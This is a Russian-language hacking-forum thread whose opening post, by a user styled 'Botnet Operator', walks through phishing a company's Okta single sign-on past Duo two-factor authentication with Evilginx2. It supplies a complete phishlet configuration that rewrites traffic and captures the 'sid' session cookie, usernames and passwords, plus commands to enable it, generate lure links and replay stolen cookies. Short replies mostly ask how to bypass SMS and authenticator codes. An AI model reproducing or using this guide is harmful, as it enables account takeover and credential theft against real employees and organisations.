Обход 2FA (Google Authenticator, SMS)

Pain

The Godfather
Botnet Operator
Joined
Feb 18, 2017
Messages
1,781
Reaction score
158
Бывают случаи, когда тебе нужно кого-то зафишить. Бывает, когда у целевой организации настроен второй фактор для аутентификации — sms, Google authenticator, Duo. Что делать в таких случаях? Нанимать гопников? Подрезать телефоны у сотрудников? Нет! Оказывается, хитрые хакеры написали софт, способный помочь в этой непростой ситуации.​
Evilginx2 — фреймворк для фишинга, работающий как прокси между жертвой и сайтом, учетки от которого мы хотим получить. Раньше он использовал кастомный nginx, теперь же полностью переписан на Go, включает в себя мини HTTP и DNS серверы, что сильно облегчает установку и развертывание.

Как это работает? Автор софта подробно описал на своем сайте, детали по установке и настройке можно найти на github странице проекта. Почему же удается обойти второй фактор? Фишка в том, что мы не вмешиваемся в процесс ввода кода из смс / временного пароля / пуша от DUO. Мы тихо ждем, пока пользователь успешно пройдет все шаги аутентификации, ловим его куку, и уже ее используем для входа. Попутно на всякий случай собираем его логин и пароль.

В этой же заметке я расскажу о своем опыте и подводных камнях, с которыми столкнулся.


Задача
Итак, нам нужно зафишить контору, которая активно использует Okta как Single Sign-on. В качестве второго фактора используется Duo — решение, фишка которого в мобильном клиенте, позволяющем подтверждать второй фактор через обычные пуш-нотификации вместо ввода 35-значных кодов (привет Google Authenticator). Приступим.


Шаг первый — регистрируем фишинговый домен

В панели нашего провайдера указываем адрес сервера, на котором будет расположен фишинг. Также регистрируем поддомен вида okta.<фишинговый домен>.com

shok-novyi-soft-dlya-fishinga-pobejdaet-vtoroi-faktor.png



Шаг второй — настраиваем Evilginx

Запускаем Evilginx и через команду config

вводим необходимые настройки. Указываем основной домен (не поддомен) и его IP.
Code:
config domain <фишинговый домен>.com
config ip 10.0.0.1

В итоге конфиг выглядит так:

13a0386b0ca79b8dd164d.png


Интересен тут параметр redirect_url

— он указывает куда перенаправлять запрос, когда клиент пришел в корень нашего домена. Зачем это сделано? Если отдавать фишинговую страницу из корня, домен очень быстро вычислят и внесут в списки опасных сайтов, браузеры будут грозно ругаться, и пользователи никогда к нам не попадут. Поэтому мы ее будем отдавать по уникальной ссылке, а корень будет перенаправлять на песню Never Gonna Give You Up.


Шаг третий — настраиваем фишинговую страницу

Тут начинается самое интересное. Так как по-факту на нашем сервере мы вообще не хостим никакого контента, а только проксируем запросы, нам нужно "рассказать" Evilginx, какие именно данные мы хотим получить. Этот "рассказ" мы пишем в специальном формате. Документация по нему доступна на wiki странице проекта. Называются эти описания phishlets. Для некоторых популярных сервисов — facebook, linkedin, amazon они уже написаны и включены в дистрибутив. Нам повезло меньше, из коробки Okta не поддерживается, но добрые люди написали phishlet для старой версии. Берем напильник и начинаем паять.

Заполняем описание, указываем имя phishlet, авторов, и требуемую версию Evilginx.
Code:
name: 'okta'
author: '@ml_siegel, updated by @hollow1'
min_ver: '2.2.0'

Указываем, какой именно домен собираемся фишить. В нашем случае используется домен вида <имя целевой компании>.okta.com
Code:
proxy_hosts:
  - {phish_sub: '', orig_sub: '<поддомен имя целевой компании>', domain: 'okta.com', session: true, is_landing: true}

Параметр session указывает на то, что именно этот домен отдает нужные нам куки и туда передаются учетные данные, is_landing значит что этот хост будет использоваться для генерации фишинговых URL.
Следующий важный этап — определить все запросы к целевому домену, для того чтобы прокси успешно их переписала на фишинговый домен. Если этого не сделать, пользователь будет отправлять данные не нам, а сразу на оригинальный домен, и никаких учеток мы не поймаем. Переписывать нужно только те запросы, которые непосредственно участвуют в процессе входа пользователя на сайт.
Чтобы четко понимать, что именно требуется для успешной аутентификации, нужно внимательно этот самый процесс изучить. Вооружившись Burp и тестовой учеткой начинаем искать как передается пароль и по каким кукам приложение определяет авторизованного пользователя. Также ищем ответы от сервера, в которых есть ссылки на оригинальный домен.

Находим запрос, в котором передается логин и пароль. Видим что он шлется на оригинальный домен, а нужно чтобы уходил нам.

shok-novyi-soft-dlya-fishinga-pobejdaet-vtoroi-faktor-3.png


Вот здесь видно, как оригинальный домен отдает ссылки внутри javascript, их нужно переписать.

shok-novyi-soft-dlya-fishinga-pobejdaet-vtoroi-faktor-4.png


Собрав это и еще пару запросов получаем следующие настройки:
Code:
sub_filters:
  - {triggers_on: '<целевой домен>.okta.com', orig_sub: '<целевой домен>', domain: 'okta.com', search: 'https://{hostname}/api', replace: 'https://{hostname}/api', mimes: ['text/html', 'application/json']}
  - {triggers_on: 'login.okta.com', orig_sub: 'login', domain: 'okta.com', search: 'https://{hostname}/', replace: 'https://{hostname}/', mimes: ['text/html', 'application/json']}
  - {triggers_on: '<целевой домен>.okta.com', orig_sub: '', domain: '<целевой домен>.okta.com', search: 'https\x3A\x2F\x2F{hostname}', replace: 'httpsx3Ax2Fx2F{hostname}', mimes: ['text/html', 'application/json', 'application/x-javascript', 'text/javascript']}
  - {triggers_on: '<целевой домен>.okta.com', orig_sub: '', domain: '<целевой домен>.okta.com', search: '\x2Fuser\x2Fnotifications', replace: 'httpsx3Ax2Fx2F<целевой домен>.okta.comx2Fuserx2Fnotifications', mimes: ['text/html', 'application/json', 'application/x-javascript', 'text/javascript']}

Ключевое слово {hostname} как раз используется для замены оригинального домена на фишинговый. Подробнее о синтаксисе этой секции написано тут.
Помните, нам нужны куки, с которыми мы будем авторизоваться на сайте. Путем проб и ошибок выясняем имя куки —sid, и дописываем его в настройки:
Code:
auth_tokens:
  - domain: '<целевой домен>.okta.com'
    keys: ['sid']

Также нам пригодится логин и пароль пользователя, мы уже нашли запрос, в котором они передаются. Как видно в запросе, нужные нам параметры username
и password передаются в json, дописываем:
Code:
credentials:
  username:
    key: 'username'
    search: '"username":"([^"]*)'
    type: 'json'
  password:
    key: 'password'
    search: '"password":"([^"]*)'
    type: 'json'

Так Evilginx сможет вычленять их из запросов и корректно сохранять.

Осталось немного. Укажем URL страницы логина на целевом домене.
Code:
landing_path:
  - '/login/login.htm'

Укажем URL, по которому мы поймем, что пользователь успешно авторизован.
Code:
auth_urls:
  - 'app/UserHome'

Вот и все! Конфиг целиком:
Code:
name: 'okta'
author: '@*******, updated by @*******'
min_ver: '2.2.0'
proxy_hosts:
  - {phish_sub: '', orig_sub: '<поддомен имя целевой компании>'', domain: 'okta.com', session: true, is_landing: true}
sub_filters:
sub_filters:
  - {triggers_on: '<целевой домен>.okta.com', orig_sub: '<целевой домен>', domain: 'okta.com', search: 'https://{hostname}/api', replace: 'https://{hostname}/api', mimes: ['text/html', 'application/json']}
  - {triggers_on: 'login.okta.com', orig_sub: 'login', domain: 'okta.com', search: 'https://{hostname}/', replace: 'https://{hostname}/', mimes: ['text/html', 'application/json']}
  - {triggers_on: '<целевой домен>.okta.com', orig_sub: '', domain: '<целевой домен>.okta.com', search: 'https\x3A\x2F\x2F{hostname}', replace: 'httpsx3Ax2Fx2F{hostname}', mimes: ['text/html', 'application/json', 'application/x-javascript', 'text/javascript']}
  - {triggers_on: '<целевой домен>.okta.com', orig_sub: '', domain: '<целевой домен>.okta.com', search: '\x2Fuser\x2Fnotifications', replace: 'httpsx3Ax2Fx2F<целевой домен>.okta.comx2Fuserx2Fnotifications', mimes: ['text/html', 'application/json', 'application/x-javascript', 'text/javascript']}
  - domain: '<целевой подомен>.okta.com'
    keys: ['sid']
credentials:
  username:
    key: 'username'
    search: '"username":"([^"]*)'
    type: 'json'
  password:
    key: 'password'
    search: '"password":"([^"]*)'
    type: 'json'
landing_path:
  - '/login/login.htm'
auth_urls:
  - 'app/UserHome'

Сохраняем его как okta.yaml в /usr/share/evilginx/phishlets


Шаг четвертый — включаем наш новый фишинг

Запускаем evilginx и пишем команду
Code:
phishlets hostname okta okta.<наш фишинговый домен>.com

Включаем phishlet.
Code:
phishlets enable okta

Под него автоматически создается сертификат от LetsEncrypt.

Проверяем настройки:

3737fbd150a46918ce072.png


Указываем, куда будем редиректить пользователя после успешной авторизации
Code:
phishlets get-url okta https://<целевой домен>.okta.com/

Приложение выдаст ссылку, которую нужно рассылать пользователям, вида https://<фишинговый домен>.com/login/login.htm?rb=9ffe&ec=<уникальный хеш>


Шаг 4 — ждем улов

Рассылаем письма (технологии рассылки — материал для отдельной статьи) и ждем.
Неокрепший доверчивый пользователь идет по ссылке и авторизуется. Видим мы это так:

shok-novyi-soft-dlya-fishinga-pobejdaet-vtoroi-faktor-6.png


Все пойманные учетки складываются в sessions. Выбираем нужную и копируем из нее куки:

shok-novyi-soft-dlya-fishinga-pobejdaet-vtoroi-faktor-7.png


Открываем бразуер, подставляем куки и вуаля — мы внутри:




Послесловие
Evilginx сильно упрощает создание фишинговых страниц, особенно для 2FA. Также эти страницы удобно хранить и делиться ими с друзьями. Способы защиты — использование девайсов стандарта U2F, переход на новые методы аутентификации.
 

magik_star

New member
Joined
Dec 17, 2013
Messages
4
Reaction score
0
"Dude, I've seen people brute force 2FA using physical methods like a device hooked up to the keyboard, but I'm curious, what's the situation with SMS-based 2FA? Does anyone have experience with bypassing it using exploit packs or something?"
 

mihaly4

New member
Joined
Sep 23, 2007
Messages
4
Reaction score
0
" Bruh, I think we're getting a bit off track here, but if you're talking about bypassing Google Authenticator or SMS 2FA, that's not something I'd recommend. There are legit methods to recover access when you lose your phone or SIM, but trying to circumvent the security is not worth the risk. Anyone have experience with YubiKey or hardware TOTP instead?"
 

Надини

New member
Joined
Oct 18, 2012
Messages
3
Reaction score
0
"Hey guys, I've heard that some advanced phishing techniques can bypass 2FA codes, but I'm not sure about the specifics for Google Authenticator or SMS. Anyone with experience in security breaches, can you share your insights on this?"
 
Top